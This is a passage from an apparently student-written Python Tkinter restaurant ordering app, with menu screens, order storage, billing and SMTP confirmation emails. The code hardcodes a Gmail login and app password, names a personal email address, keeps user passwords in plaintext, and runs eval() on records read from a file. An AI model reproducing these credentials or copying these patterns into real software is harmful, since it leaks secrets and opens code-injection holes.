   else:\r\n            entries=line.split(\",\")\r\n            for i in range(len(b2)):\r\n                new=entries[3].split(\":\")\r\n                if new[0][0]==\"0\":\r\n                    newstr=new[0][1]\r\n                    if b2[i][0]==entries[0] and int(newstr) in klist:\r\n                     if int(new[3])==int(clist[2]):\r\n                             print(1)\r\n                             id.append(entries[0])\r\n                             time1.append(entries[3])\r\n                             number.append(entries[2])\r\n                else:\r\n                    newstr=new[0]\r\n                    if b2[i][0]==entries[0] and int(newstr) in klist:\r\n                        if int(new[3])==int(clist[2]):\r\n                             print(1)\r\n                             id.append(entries[0])\r\n                             time1.append(entries[3])\r\n                             number.append(entries[2])\r\n            \r\n                \r\n                    \r\n    #Sorting the time based on the number of ordered items \r\n    zippedpairs=zip(number,time1)\r\n    list_zippedpairs=list(zippedpairs)\r\n    list_zippedpairs.sort()\r\n    sortedTime=[list_zippedpairs[i][1] for i in range(len(list_zippedpairs))]\r\n    sortedNumber=sorted(number)\r\n\r\n\r\n    l=len(id)\r\n    print(l)\r\n    priorityList=[]\r\n    count=0\r\n    while count<l:\r\n     priorityList.append(\"0\")\r\n     count+=1\r\n\r\n    \r\n    list_index = [time1.index(i) for i in sortedTime]\r\n\r\n    priority=0\r\n    j=0\r\n    for i in sortedNumber:\r\n     if(int(i)<=3):\r\n        priority+=1\r\n        ind=list_index[j]\r\n        priorityList[ind]=priority\r\n        j+=1\r\n\r\n    for i in priorityList:\r\n     if(i=='0'):\r\n        priority+=1\r\n        ind=priorityList.index(i)\r\n        #print(ind)\r\n        priorityList[ind]=priority\r\n        \r\n    print(priorityList)\r\n    token_name=dict(zip(id,priorityList))\r\n\r\n  \r\n   # keys=id\r\n   # values=priorityList  \r\n\r\n\r\n    print(token_name)\r\n    for i in token_name.keys():\r\n        if i==user:\r\n            ka=Toplevel(tkWindow)\r\n            ka.state(\"zoomed\")\r\n            kalabel=Label(ka,image=token)\r\n            kalabel.place(relx=0.5,rely=0.5,anchor=\"center\")\r\n            kalab=Label(ka,text=\"YOUR TOKEN NO IS\"+\" \"+str(token_name[i]),font=\"times 25\")\r\n            kalab.place(relx=0.48,rely=0.5,anchor=\"center\")\r\n    f=open(\"login.txt\",\"r\")\r\n    c=f.read()\r\n    d=c.split()\r\n    e=[]\r\n    for i in d:\r\n        e.append(i.split(\"-\"))\r\n    for i in range(len(e)):\r\n        if e[i][0]==username.get():\r\n            email=e[i][2]\r\n            password=e[i][1]\r\n    c=\"\"\r\n    s = smtplib.SMTP('smtp.gmail.com', 587)\r\n    # start TLS for security\r\n    s.starttls()\r\n\r\n    # Authentication\r\n    s.login(\"hotel1.tas@gmail.com\", \"adzj pfqi twvm cnlz\")\r\n    \r\n    \r\n    c=\"Dear\"+\" \"+user+\",\"+\"thank you for ordering with us, we are delighted to have you choose our restaurant for your meal today. Your order has been taken and you can come and collect it in 30 mins\"\r\n    d=\"\\n\"\r\n    d2=\"\\n\"\r\n    d1=\"                                                             ONLY OFFLINE PAYEMNT  IS ACCEPTED                                 \"\r\n    \r\n    message=c+d+d2+d1\r\n\r\n    # sending the mail\r\n    s.sendmail(\"hotel1.tas@gmail.com\",email, message)\r\n\r\n    s.quit()\r\n\r\n    s = smtplib.SMTP('smtp.gmail.com', 587)\r\n    # start TLS for security\r\n    s.starttls()\r\n\r\n    # Authentication\r\n    s.login(\"hotel1.tas@gmail.com\", \"adzj pfqi twvm cnlz\")\r\n    \r\n    \r\n    c=\"                                                               SUCCESSFULL ORDER!!                  \"\r\n    d=\"\\n\"\r\n    d2=\"\\n\"\r\n    d1=\"CUSTOMER NAME:\"+\" \"+user\r\n    if klist==breakfast1:\r\n        d3=\"SESSION:\"+\" \"+\"BREAKFAST\"\r\n    if klist==lunch1:\r\n        d3=\"SESSION:\"+\" \"+\"LUNCH\"\r\n    if klist==dinner1:\r\n        d3=\"SESSION:\"+\" \"+\"DINNER\"\r\n    message=c+d+d2+d1+\"\\n\"+d3\r\n    # sending the mail\r\n    s.sendmail(\"hotel1.tas@gmail.com\",\"srisaiankit2110551@ssn.edu.in\", message)\r\n\r\n    s.quit()\r\n    \r\ndef buttonfunc(var,itemre):\r\n    global itemlist\r\n    itemlist.append([itemre,var.get()])\r\ndef edit(user,openw):\r\n    openw.destroy()\r\n    global itemlist\r\n    itemlist=[]\r\n    window=Toplevel(tkWindow)\r\n    window.state(\"zoomed\")\r\n    newbr=Label(window,image=im1)\r\n    newbr.place(x=0,y=0)\r\n    b1=Button(window,image=bpic,command=window.destroy)\r\n    b1.place(relx=0.25,rely=0.9,anchor=\"center\")\r\n    Payment=partial(payment,user)\r\n    Open1=partial(open1,user)\r\n    b2=Button(window,image=pic,command=Open1)\r\n    b2.place(relx=0.6,rely=0.83)\r\n    def breakfast_menu():\r\n     label1=Label(window,text=\"MENU FOR BREAKFAST\",font=\"times 30 bold\")\r\n     label1.place(x=570,y=20)\r\n\r\n     labeli=Label(window,text=\"Item\",font=\"times 22\")\r\n     labeli.place(x=190,y=80)\r\n\r\n     labelp=Label(window,text=\"price\",font=\"times 22\")\r\n     labelp.place(x=550,y=80)\r\n\r\n     labelq=Label(window,text=\"Qty. Available\",font=\"times 22\")\r\n     window.wm_attributes(\"-transparentcolor\",\"#ab23ff\")\r\n     labelq.place(x=800,y=80)\r\n\r\n     labelc=Label(window,text=\"Choose\",font=\"times 22\")\r\n     labelc.place(x=1110,y=80)\r\n\r\n     for i in range(len(breakfast)):\r\n        li=\"label\"+str(i)\r\n        li=Label(window,text=breakfast[i][0],font=\"times 18\")\r\n        li.place(x=180,y=(30*(1.5*i)+150))\r\n        \r\n        lp=\"l2\"+str(i)\r\n        lp=Label(window,text=breakfast[i][1],font=\"times 18\")\r\n        lp.place(x=540,y=(30*(1.5*i)+150))\r\n\r\n        lq=\"l2\"+str(i)\r\n        lq=Label(window,text=breakfast[i][2],font=\"times 18\")\r\n        lq.place(x=800,y=(30*(1.5*i)+150))\r\n\r\n        \r\n        itemre=breakfast[i][0]\r\n        lc=\"l2\"+str(i)\r\n        var=StringVar()\r\n        lc=Entry(window,textvariable=var)\r\n        lc.place(x=1100,y=(30*(1.5*i)+150))\r\n        Buttonfunc=partial(buttonfunc,var,itemre)\r\n        button=Button(window,text=\"Add\",command=Buttonfunc)\r\n        button.place(x=1200,y=(30*(1.5*i)+150))\r\n    def lunch_menu():\r\n      label1=Label(window,text=\"MENU FOR LUNCH\",font=\"times 30 bold\")\r\n      label1.place(x=570,y=20)\r\n\r\n      labeli=Label(window,text=\"ITEM\",font=\"times 22\")\r\n      labeli.place(x=190,y=80)\r\n\r\n      labelp=Label(window,text=\"PRICE\",font=\"times 22\")\r\n      labelp.place(x=550,y=80)\r\n\r\n      labelq=Label(window,text=\"MAX QUANTITY\",font=\"times 22\")\r\n      labelq.place(x=800,y=80)\r\n\r\n      labelc=Label(window,text=\"SELECT\",font=\"times 22\")\r\n      labelc.place(x=1110,y=80)\r\n      for i in range(len(lunch)):\r\n        li=\"label\"+str(i)\r\n        li=Label(window,text=lunch[i][0],font=\"times 18\",width=10,height=1)\r\n        li.place(x=180,y=(30*(1.5*i)+150))\r\n        \r\n        lp=\"l2\"+str(i)\r\n        lp=Label(window,text=lunch[i][1],font=\"times 18\",width=10,height=1)\r\n        lp.place(x=540,y=(30*(1.5*i)+150))\r\n\r\n        lq=\"l2\"+str(i)\r\n        lq=Label(window,text=lunch[i][2],font=\"times 18\",width=10,height=1)\r\n        lq.place(x=800,y=(30*(1.5*i)+150))\r\n\r\n        itemre=lunch[i][0]\r\n        lc=\"l2\"+str(i)\r\n        var=StringVar()\r\n        lc=Entry(window,textvariable=var)\r\n        lc.place(x=1100,y=(30*(1.55*i)+150))\r\n        Buttonfunc=partial(buttonfunc,var,itemre)\r\n        button=Button(window,text=\"Add\",command=Buttonfunc)\r\n        button.place(x=1200,y=(30*(1.55*i)+150))\r\n    def dinner_menu():\r\n      label1=Label(window,text=\"MENU FOR DINNER\",font=\"times 30 bold\")\r\n      label1.place(x=500,y=0)\r\n\r\n      labeli=Label(window,text=\"Item\",font=\"times 22\")\r\n      labeli.place(x=180,y=80)\r\n\r\n      labelp=Label(window,text=\"price\",font=\"times 22\")\r\n      labelp.place(x=540,y=80)\r\n\r\n      labelq=Label(window,text=\"Qty. Available\",font=\"times 22\")\r\n      labelq.place(x=810,y=80)\r\n\r\n      labelc=Label(window,text=\"Choose\",font=\"times 22\")\r\n      labelc.place(x=1110,y=80)\r\n      for i in range(len(dinner)):\r\n        li=\"label\"+str(i)\r\n        li=Label(window,text=dinner[i][0],font=\"times 18\")\r\n        li.place(x=180,y=(30*(1.5*i)+150))\r\n        \r\n        lp=\"l2\"+str(i)\r\n        lp=Label(window,text=dinner[i][1],font=\"times 18\")\r\n        lp.place(x=540,y=(30*(1.5*i)+150))\r\n\r\n        lq=\"l2\"+str(i)\r\n        lq=Label(window,text=dinner[i][2],font=\"times 18\")\r\n        lq.place(x=800,y=(30*(1.5*i)+150))\r\n        \r\n        itemre=dinner[i][0]\r\n        lc=\"l2\"+str(i)\r\n        var=StringVar()\r\n        lc=Entry(window,textvariable=var)\r\n        lc.place(x=1100,y=(30*(1.5*i)+150))\r\n        Buttonfunc=partial(buttonfunc,var,itemre)\r\n        button=Button(window,text=\"Add\",command=Buttonfunc)\r\n        button.place(x=1200,y=(30*(1.5*i)+150))\r\n    now = datetime.datetime.now()\r\n    a=list(now.strftime(\"%H:%M:%S\"))\r\n    b=[]\r\n    c=\"\"\r\n    j=0\r\n    while(j<=len(a)-1):\r\n     if a[j]==\":\":\r\n        b.append(c)\r\n        c=\"\"\r\n        j=j+1\r\n     else:\r\n        c=c+str(a[j])\r\n        j=j+1\r\n    breakfast1=[7,8,9,10,11]\r\n    lunch1=[12,13,14,15,16,17]\r\n    dinner1=[18,19,20,21,22,23]\r\n    print(b)\r\n    for l in range(len(b)):\r\n     if l==0:\r\n        k=int(b[0])\r\n        if k in breakfast1:\r\n            breakfast_menu()\r\n        if k in lunch1:\r\n            lunch_menu()\r\n        if k in dinner1:\r\n            dinner_menu()\r\n        if k>breakfast1[-1] and k<lunch1[0]:\r\n            window=Toplevel(tkWindow)\r\n            window.title(\"Menu for today\")\r\n            window.state(\"zoomed\")\r\n            lab3=Label(window,image=im1)\r\n            lab3.place(x=0,y=0)\r\n            button=ImageTk.PhotoImage(Image.open(\"home.png\"))\r\n            button=Label(window,image=button,command=window.destroy)\r\n            button.place(relx=0.5,rely=0.75,anchor=\"center\")\r\n            min=int(b[1])/60\r\n            c=lunch1[0]-(k+min)\r\n            newmin=c*60\r\n            if newmin>60:\r\n                hr=newmin//60\r\n                mm=newmin%60\r\n                if hr==1:\r\n                    label1=Label(window,text=\"There are still\"+\" \"+str(hr)+\" \"+\"hour\"+\" \"+\"and\"+\" \"+str(round(mm))+\"minutes\"+\" \"+\"for lunch,kindly wait\",font=\"times 30 bold\")\r\n                    label1.place(x=300,y=0)\r\n                else:\r\n                     label1=Label(window,text=\"There are still\"+\" \"+str(hr)+\" \"+\"hours\"+\" \"+\"and\"+\" \"+str(round(mm))+\"minutes\"+\" \"+\"for lunch,kindly wait\",font=\"times 30 bold\")\r\n                     label1.place(x=300,y=0)\r\n            else:\r\n               label1=Label(window,text=\"There are still\"+\" \"+str(round(newmin))+\" \"+\"minutes\"+\" \"+\"for lunch,kindly wait\",font=\"times 30 bold\")\r\n               label1.place(x=300,y=0)\r\n\r\n        if k>lunch1[-1] and k<dinner1[0]:\r\n            window=Toplevel(tkWindow)\r\n            window.title(\"Menu for today\")\r\n            window.state(\"zoomed\")\r\n            lab3=Label(window,image=im1)\r\n            lab3.place(x=0,y=0)\r\n            button=ImageTk.PhotoImage(Image.open(\"home.png\"))\r\n            button=Label(window,image=button,command=payment)\r\n            button.place(relx=0.5,rely=0.75,anchor=\"center\")\r\n            min=int(b[1])/60\r\n            c=dinner1[0]-(k+min)\r\n            newmin=c*60\r\n            if newmin>60:\r\n              hr=newmin//60\r\n              mm=newmin%60\r\n              if hr==1:\r\n                label1=Label(window,text=\"There are still\"+\" \"+str(hr)+\" \"+\"hour\"+\" \"+\"and\"+\" \"+str(round(mm))+\"minutes\"+\" \"+\"for dinner,kindly wait\",font=\"times 30 bold\")\r\n                label1.place(x=300,y=0)\r\n              else:\r\n               label1=Label(window,text=\"There are still\"+\" \"+str(hr)+\" \"+\"hour\"+\" \"+\"and\"+\" \"+str(round(mm))+\"minutes\"+\" \"+\"for dinner,kindly wait\",font=\"times 30 bold\")\r\n               label1.place(x=300,y=0)\r\n            else:\r\n                label1=Label(window,text=\"There are still\"+\" \"+str(round(newmin))+\" \"+\"minutes\"+\" \"+\"for dinner,kindly wait\",font=\"times 30 bold\")\r\n                label1.place(x=300,y=0)\r\ndef Continue(user):\r\n    continue1=Toplevel(tkWindow)\r\n    continue1.state(\"zoomed\")\r\n    continuelabel=Label(continue1,text=\"ONCE YOU PRESS CONTINUE,YOUR ORDER WILL BE FINALIZED AND NO MORE CHANGES CAN BE MADE TO IT\",font=\"times 20\")\r\n    continuelabel.place(relx=0.5,rely=0.5,anchor=\"center\")\r\n    Proceed=partial(proceed,user)\r\n    continuebt=Button(continue1,text=\"CONTINUE\",command=Proceed)\r\n    continuebt.place(relx=0.5,rely=0.75,anchor=\"center\")\r\ndef payment(user):\r\n    today=date.today()\r\n    today1=str(today)\r\n    clist=today1.split(\"-\")\r\n    now = datetime.datetime.now()\r\n    a=list(now.strftime(\"%H:%M:%S\"))\r\n    b=[]\r\n    c=\"\"\r\n    j=0\r\n    while(j<=len(a)-1):\r\n     if a[j]==\":\":\r\n       b.append(c)\r\n       c=\"\"\r\n       j=j+1\r\n     else:\r\n       c=c+str(a[j])\r\n       j=j+1\r\n    clist.extend(b)\r\n    b1=[user,itemlist,str(now.strftime(\"%H:%M:%S\")),clist[2],clist[3]]\r\n    f=open(\"orders.txt\",\"a\")\r\n    f.write(str(b1))\r\n    f.write(\"$\")\r\n    f.close()\r\n    f=open(\"orders.txt\",\"r\")\r\n    c=f.read()\r\n    dlist=c.split(\"$\")\r\n    dlist[-1]=\"flag\"\r\n    dlist.remove(\"flag\")\r\n    blist=[]\r\n    breakfast1=[7,8,9,10,11]\r\n    lunch1=[12,13,14,15,16,17]\r\n    dinner1=[18,19,20,21,22,23]\r\n    if int(b[0]) in breakfast1:\r\n        implist=breakfast1\r\n    if int(b[0]) in lunch1:\r\n        implist=lunch1\r\n    if int(b[0]) in dinner1:\r\n        implist=dinner1\r\n    for i in range(len(dlist)):\r\n        dlist[i]=eval(dlist[i])\r\n    for i in range(len(dlist)):\r\n        if dlist[i][3]==clist[2] and int(dlist[i][4]) in implist:\r\n            blist.append(dlist[i])\r\n    cat=Toplevel(tkWindow)\r\n    cat.state(\"zoomed\")\r\n    imgna=Label(cat,image=look)\r\n    imgna.place(x=0,y=0)\r\n    cartlabel=Label(cat,image=bill)\r\n    cartlabel.place(relx=0.45,rely=0.5,anchor=\"center\")\r\n    Cont=partial(Continue,user)\r\n    proceedlabel=Button(cat,image=proceed1,command=Cont)\r\n    proceedlabel.place(relx=0.92,rely=0.5,anchor=\"center\")\r\n    total=\"\"\r\n    total1=\"\"\r\n    for i in range(len(blist)):\r\n     if user==blist[i][0]:\r\n        for j in range(len(blist[i][1])):\r\n            total=total+blist[i][1][j][0]+\"\\n\"+\"\\n\"\r\n            total1=total1+str(blist[i][1][j][1])+\"\\n\"+\"\\n\"\r\n        newlabel2=Label(cat,text=total,font=\"times 15\")\r\n        newlabel2.place(relx=0.18,rely=0.47,anchor=\"center\")\r\n        nlabel1=Label(cat,text=total1,font=\"times 15\")\r\n        nlabel1.place(relx=0.36,rely=0.47,anchor=\"center\")\r\n    pricetot=\" \"\r\n    qtytot=\" \"\r\n    amount=0\r\n    breakfast1=[6,7,8,9,10,11]\r\n    lunch1=[12,13,14,15,16,17]\r\n    dinner1=[18,19,20,21,22,23]\r\n    if int(b[0])>=breakfast1[0] and int(b[0])<=breakfast1[-1]:\r\n        newlist=breakfast\r\n    if int(b[0])>=lunch1[0] and int(b[0])<=lunch1[-1]:\r\n        newlist=lunch\r\n    if int(b[0])>=dinner1[0] and int(b[0])<=dinner1[-1]:\r\n        newlist=dinner\r\n    for i in range(len(blist)):\r\n      if user==blist[i][0]:\r\n        for j in range(len(blist[i][1])):\r\n            for k in range(len(newlist)):\r\n                if blist[i][1][j][0]==newlist[k][0]:\r\n                    pricetot=pricetot+str(newlist[k][1])+\"\\n\"+\"\\n\"\r\n                    qtytot=qtytot+str(int(blist[i][1][j][1])*newlist[k][1])+\"\\n\"+\"\\n\"\r\n                    amount=amount+int(blist[i][1][j][1])*newlist[k][1]\r\n    pricelabel=Label(cat,text=pricetot,font=\"times 15\")\r\n    pricelabel.place(relx=0.57,rely=0.47,anchor=\"center\")\r\n    qtylabel=Label(cat,text=qtytot,font=\"times 15\")\r\n    qtylabel.place(relx=0.77,rely=0.47,anchor=\"center\")\r\n    symbol1=Label(cat,text=str(amount),font=\"times 15\")\r\n    symbol1.place(relx=0.81,rely=0.81,anchor=\"center\")\r\n    symbol2=Label(cat,text=str(0.05*amount),font=\"times 15\")\r\n    symbol2.place(relx=0.81,rely=0.86,anchor=\"center\")\r\n    symbol3=Label(cat,text=str(1.05*amount),font=\"times 15\")\r\n    symbol3.place(relx=0.81,rely=0.91,anchor=\"center\")\r\ndef open1(user):\r\n    openw=Toplevel(tkWindow)\r\n    openw.state(\"zoomed\")\r\n    openw.geometry(\"400x200\")\r\n    openlabel=Label(openw,text=\"ONCE YOU FINALIZE CART, YOU CANNOT MAKE CHANGES!!\",font=\"times 30\")\r\n    openlabel.place(relx=0.5,rely=0.3,anchor=\"center\")\r\n    Edit=partial(edit,user,openw)\r\n    button3=Button(openw,text=\"EDIT/CANCEL CART\",command=Edit,height=10,width=20,font=\"times 10\")\r\n    button3.place(relx=0.2,rely=0.6)\r\n    Payment=partial(payment,user)\r\n    button4=Button(openw,text=\"CONFIRM ORDER\",command=Payment,height=10,width=20,font=\"times 10\")\r\n    button4.place(relx=0.8,rely=0.6)\r\ndef main(user):\r\n      new=Toplevel(tkWindow)\r\n      new.state(\"zoomed\")\r\n      Menu=partial(menu,user)\r\n      Track_order=partial(track_order,user)\r\n      image1=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\restuarant1.jpg\"))\r\n      label3=Label(new,image=image1)\r\n      label3.place(x=0,y=0)\r\n      newlabel=Label(new,image=hotel)\r\n      newlabel.place(relx=0.5,rely=0.13,anchor=\"center\")\r\n      new.title(\"Welcome to XYZ hotel\")\r\n      about=Button(new,text=\"About us\",padx=50,pady=50,command=about_us,image=logo)\r\n      about.place(relx=0.04,rely=0.4,anchor=\"center\")\r\n      menu1=Button(new,command=Menu,image=menl)\r\n      menu1.place(relx=0.5,rely=0.5,anchor=\"center\")\r\n      Order=Button(new,padx=50,pady=50,image=order,command=Track_order)\r\n      Order.place(relx=0.5,rely=0.7,anchor=\"center\")\r\n      new.mainloop()\r\ndef menu(user):\r\n    global im\r\n    gl=user\r\n    counti=0\r\n    window=Toplevel(tkWindow)\r\n    window.state(\"zoomed\")\r\n    newbr=Label(window,image=im1)\r\n    newbr.place(x=0,y=0)\r\n    b1=Button(window,image=bpic,command=window.destroy)\r\n    b1.place(relx=0.25,rely=0.9,anchor=\"center\")\r\n    Payment=partial(payment,user)\r\n    Open1=partial(open1,user)\r\n    b2=Button(window,image=pic,command=Open1)\r\n    b2.place(relx=0.6,rely=0.83)\r\n    def breakfast_menu():\r\n     nonlocal gl\r\n     nonlocal counti\r\n     label1=Label(window,text=\"MENU FOR BREAKFAST\",font=\"times 30 bold\")\r\n     label1.place(x=570,y=20)\r\n\r\n     labeli=Label(window,text=\"Item\",font=\"times 22\")\r\n     labeli.place(x=190,y=80)\r\n\r\n     labelp=Label(window,text=\"price\",font=\"times 22\")\r\n     labelp.place(x=550,y=80)\r\n\r\n     labelq=Label(window,text=\"Qty. Available\",font=\"times 22\")\r\n     window.wm_attributes(\"-transparentcolor\",\"#ab23ff\")\r\n     labelq.place(x=800,y=80)\r\n\r\n     labelc=Label(window,text=\"Choose\",font=\"times 22\")\r\n     labelc.place(x=1110,y=80)\r\n\r\n     for i in range(len(breakfast)):\r\n        li=\"label\"+str(i)\r\n        li=Label(window,text=breakfast[i][0],font=\"times 18\")\r\n        li.place(x=180,y=(30*(1.5*i)+150))\r\n        \r\n        lp=\"l2\"+str(i)\r\n        lp=Label(window,text=breakfast[i][1],font=\"times 18\")\r\n        lp.place(x=540,y=(30*(1.5*i)+150))\r\n\r\n        lq=\"l2\"+str(i)\r\n        lq=Label(window,text=breakfast[i][2],font=\"times 18\")\r\n        lq.place(x=800,y=(30*(1.5*i)+150))\r\n\r\n        \r\n        itemre=breakfast[i][0]\r\n        lc=\"l2\"+str(i)\r\n        var=StringVar()\r\n        lc=Entry(window,textvariable=var)\r\n        lc.place(x=1100,y=(30*(1.5*i)+150))\r\n        Buttonfunc=partial(buttonfunc,var,itemre)\r\n        button=Button(window,text=\"Add\",command=Buttonfunc)\r\n        button.place(x=1200,y=(30*(1.5*i)+150))\r\n    def lunch_menu():\r\n      nonlocal gl\r\n      nonlocal counti\r\n      label1=Label(window,text=\"MENU FOR LUNCH\",font=\"times 30 bold\")\r\n      label1.place(x=570,y=20)\r\n\r\n      labeli=Label(window,text=\"ITEM\",font=\"times 22\")\r\n      labeli.place(x=190,y=80)\r\n\r\n      labelp=Label(window,text=\"PRICE\",font=\"times 22\")\r\n      labelp.place(x=550,y=80)\r\n\r\n      labelq=Label(window,text=\"MAX QUANTITY\",font=\"times 22\")\r\n      labelq.place(x=800,y=80)\r\n\r\n      labelc=Label(window,text=\"SELECT\",font=\"times 22\")\r\n      labelc.place(x=1110,y=80)\r\n      for i in range(len(lunch)):\r\n        li=\"label\"+str(i)\r\n        li=Label(window,text=lunch[i][0],font=\"times 18\",width=10,height=1)\r\n        li.place(x=180,y=(30*(1.5*i)+150))\r\n        \r\n        lp=\"l2\"+str(i)\r\n        lp=Label(window,text=lunch[i][1],font=\"times 18\",width=10,height=1)\r\n        lp.place(x=540,y=(30*(1.5*i)+150))\r\n\r\n        lq=\"l2\"+str(i)\r\n        lq=Label(window,text=lunch[i][2],font=\"times 18\",width=10,height=1)\r\n        lq.place(x=800,y=(30*(1.5*i)+150))\r\n\r\n        itemre=lunch[i][0]\r\n        lc=\"l2\"+str(i)\r\n        var=StringVar()\r\n        lc=Entry(window,textvariable=var)\r\n        lc.place(x=1100,y=(30*(1.55*i)+150))\r\n        Buttonfunc=partial(buttonfunc,var,itemre)\r\n        button=Button(window,text=\"Add\",command=Buttonfunc)\r\n        button.place(x=1200,y=(30*(1.55*i)+150))\r\n    def dinner_menu():\r\n      nonlocal gl\r\n      label1=Label(window,text=\"MENU FOR DINNER\",font=\"times 30 bold\")\r\n      label1.place(x=500,y=0)\r\n\r\n      labeli=Label(window,text=\"Item\",font=\"times 22\")\r\n      labeli.place(x=180,y=80)\r\n\r\n      labelp=Label(window,text=\"price\",font=\"times 22\")\r\n      labelp.place(x=540,y=80)\r\n\r\n      labelq=Label(window,text=\"Qty. Available\",font=\"times 22\")\r\n      labelq.place(x=810,y=80)\r\n\r\n      labelc=Label(window,text=\"Choose\",font=\"times 22\")\r\n      labelc.place(x=1110,y=80)\r\n      for i in range(len(dinner)):\r\n        li=\"label\"+str(i)\r\n        li=Label(window,text=dinner[i][0],font=\"times 18\")\r\n        li.place(x=180,y=(30*(1.5*i)+150))\r\n        \r\n        lp=\"l2\"+str(i)\r\n        lp=Label(window,text=dinner[i][1],font=\"times 18\")\r\n        lp.place(x=540,y=(30*(1.5*i)+150))\r\n\r\n        lq=\"l2\"+str(i)\r\n        lq=Label(window,text=dinner[i][2],font=\"times 18\")\r\n        lq.place(x=800,y=(30*(1.5*i)+150))\r\n        \r\n        itemre=dinner[i][0]\r\n        lc=\"l2\"+str(i)\r\n        var=StringVar()\r\n        lc=Entry(window,textvariable=var)\r\n        lc.place(x=1100,y=(30*(1.5*i)+150))\r\n        Buttonfunc=partial(buttonfunc,var,itemre)\r\n        button=Button(window,text=\"Add\",command=Buttonfunc)\r\n        button.place(x=1200,y=(30*(1.5*i)+150))\r\n    breakfast1=[6,7,8,9,10,11]\r\n    lunch1=[12,13,14,15,16,17]\r\n    dinner1=[18,19,20,21,22,23]\r\n    now = datetime.datetime.now()\r\n    a=list(now.strftime(\"%H:%M:%S\"))\r\n    b=[]\r\n    c=\"\"\r\n    j=0\r\n    while(j<=len(a)-1):\r\n     if a[j]==\":\":\r\n        b.append(c)\r\n        c=\"\"\r\n        j=j+1\r\n     else:\r\n        c=c+str(a[j])\r\n        j=j+1\r\n    print(b)\r\n    for l in range(len(b)):\r\n     if l==0:\r\n        k=int(b[0])\r\n        if k in breakfast1:\r\n            breakfast_menu()\r\n        if k in lunch1:\r\n            lunch_menu()\r\n        if k in dinner1:\r\n            dinner_menu()\r\n        if k>breakfast1[-1] and k<lunch1[0]:\r\n            window=Toplevel(tkWindow)\r\n            window.title(\"Menu for today\")\r\n            window.state(\"zoomed\")\r\n            lab3=Label(window,image=im1)\r\n            lab3.place(x=0,y=0)\r\n            button=ImageTk.PhotoImage(Image.open(\"home.png\"))\r\n            button=Label(window,image=button,command=window.destroy)\r\n            button.place(relx=0.5,rely=0.75,anchor=\"center\")\r\n            min=int(b[1])/60\r\n            c=lunch1[0]-(k+min)\r\n            newmin=c*60\r\n            if newmin>60:\r\n                hr=newmin//60\r\n                mm=newmin%60\r\n                if hr==1:\r\n                    label1=Label(window,text=\"There are still\"+\" \"+str(hr)+\" \"+\"hour\"+\" \"+\"and\"+\" \"+str(round(mm))+\"minutes\"+\" \"+\"for lunch,kindly wait\",font=\"times 30 bold\")\r\n                    label1.place(x=300,y=0)\r\n                else:\r\n                     label1=Label(window,text=\"There are still\"+\" \"+str(hr)+\" \"+\"hours\"+\" \"+\"and\"+\" \"+str(round(mm))+\"minutes\"+\" \"+\"for lunch,kindly wait\",font=\"times 30 bold\")\r\n                     label1.place(x=300,y=0)\r\n            else:\r\n               label1=Label(window,text=\"There are still\"+\" \"+str(round(newmin))+\" \"+\"minutes\"+\" \"+\"for lunch,kindly wait\",font=\"times 30 bold\")\r\n               label1.place(x=300,y=0)\r\n\r\n        if k>lunch1[-1] and k<dinner1[0]:\r\n            window=Toplevel(tkWindow)\r\n            window.title(\"Menu for today\")\r\n            window.state(\"zoomed\")\r\n            lab3=Label(window,image=im1)\r\n            lab3.place(x=0,y=0)\r\n            button=ImageTk.PhotoImage(Image.open(\"home.png\"))\r\n            button=Label(window,image=button,command=payment)\r\n            button.place(relx=0.5,rely=0.75,anchor=\"center\")\r\n            min=int(b[1])/60\r\n            c=dinner1[0]-(k+min)\r\n            newmin=c*60\r\n            if newmin>60:\r\n              hr=newmin//60\r\n              mm=newmin%60\r\n              if hr==1:\r\n                label1=Label(window,text=\"There are still\"+\" \"+str(hr)+\" \"+\"hour\"+\" \"+\"and\"+\" \"+str(round(mm))+\"minutes\"+\" \"+\"for dinner,kindly wait\",font=\"times 30 bold\")\r\n                label1.place(x=300,y=0)\r\n              else:\r\n               label1=Label(window,text=\"There are still\"+\" \"+str(hr)+\" \"+\"hour\"+\" \"+\"and\"+\" \"+str(round(mm))+\"minutes\"+\" \"+\"for dinner,kindly wait\",font=\"times 30 bold\")\r\n               label1.place(x=300,y=0)\r\n            else:\r\n                label1=Label(window,text=\"There are still\"+\" \"+str(round(newmin))+\" \"+\"minutes\"+\" \"+\"for dinner,kindly wait\",font=\"times 30 bold\")\r\n                label1.place(x=300,y=0)\r\ndef hotel_f():\r\n    window=Toplevel(tkWindow)\r\n    window.state(\"zoomed\")\r\n    newbr=Label(window,image=im1)\r\n    newbr.place(x=0,y=0)\r\n    def breakfast_menu():\r\n     label1=Label(window,text=\"MENU FOR BREAKFAST\",font=\"times 30 bold\")\r\n     label1.place(x=500,y=0)\r\n\r\n     labeli=Label(window,text=\"Item\",font=\"times 22\")\r\n     labeli.place(x=400,y=100)\r\n\r\n     labelp=Label(window,text=\"Price\",font=\"times 22\")\r\n     labelp.place(x=900,y=100)\r\n\r\n     for i in range(len(breakfast)):\r\n        li=\"label\"+str(i)\r\n        li=Label(window,text=breakfast[i][0],font=\"times 18\")\r\n        li.place(x=400,y=(30*(1.5*i)+150))\r\n        \r\n        lp=\"l2\"+str(i)\r\n        lp=Label(window,text=breakfast[i][1],font=\"times 18\")\r\n        lp.place(x=900,y=(30*(1.5*i)+150))\r\n\r\n\r\n    def lunch_menu():\r\n      label1=Label(window,text=\"MENU FOR LUNCH\",font=\"times 30 bold\")\r\n      label1.place(x=500,y=0)\r\n\r\n      labeli=Label(window,text=\"Item\",font=\"times 22\")\r\n      labeli.place(x=400,y=100)\r\n\r\n      labelp=Label(window,text=\"price\",font=\"times 22\")\r\n      labelp.place(x=900,y=100)\r\n\r\n      for i in range(len(lunch)):\r\n        li=\"label\"+str(i)\r\n        li=Label(window,text=lunch[i][0],font=\"times 18\",width=10,height=1)\r\n        li.place(x=400,y=(30*(1.5*i)+150))\r\n        \r\n        lp=\"l2\"+str(i)\r\n        lp=Label(window,text=lunch[i][1],font=\"times 18\",width=10,height=1)\r\n        lp.place(x=900,y=(30*(1.5*i)+150))\r\n\r\n\r\n    def dinner_menu():\r\n      label1=Label(window,text=\"MENU FOR DINNER\",font=\"times 30 bold\")\r\n      label1.place(x=500,y=0)\r\n\r\n      labeli=Label(window,text=\"ITEM\",font=\"times 22\")\r\n      labeli.place(x=400,y=100)\r\n\r\n      labelp=Label(window,text=\"PRICE\",font=\"times 22\")\r\n      labelp.place(x=900,y=100)\r\n\r\n      for i in 